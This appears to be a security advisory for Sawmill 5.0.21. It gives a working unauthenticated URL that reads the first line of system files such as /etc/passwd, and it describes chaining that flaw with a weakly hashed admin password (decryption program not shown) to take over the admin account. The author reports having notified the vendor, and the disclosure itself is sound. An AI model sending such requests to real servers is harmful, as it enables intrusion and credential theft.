Title:Arbitrary file read & weak password encryption flower fire sawmill v5.0.21
In my test configuration I have sawmill listening on port 8987 of my webserver. I noticed two things. 
Dangerous

1) You can get sawmill to read you the first line of any (if run as nobody) world readable files without needing to authenticate first. 
The following will print the first line of /etc/passwd: 
http://192.168.1.65:8987/sawmill?rfcf+%22/etc/passwd%22+spbn+1,1,21,1,1,1,1,1,1,1,1,1+3 
You can imagine how much more fun this would be if it was launched as root. Which it should not and does not need to be. 

More Danger
2) The password is stored with a weak hash algorithm and can be decrypted using the attached C program. This is dangerous because the previous security hole will allow you to read the first line of the sawmill/SawmillInfo/SawmillPassword decrypt the password and access the 
site statistics, reconfigure sawmill. Along with the ability to browse the remote machines drive contents. If this is being run as root then 
the attacker can specify root readonly files as log files and read most if not all of their contents. 
file info: sawmill5.0.21trial_x86_linux.tar.gz 

I have notified the vendor and they were very responsive and are currently working on a fix/*Dehash password for Sawmill admin account.
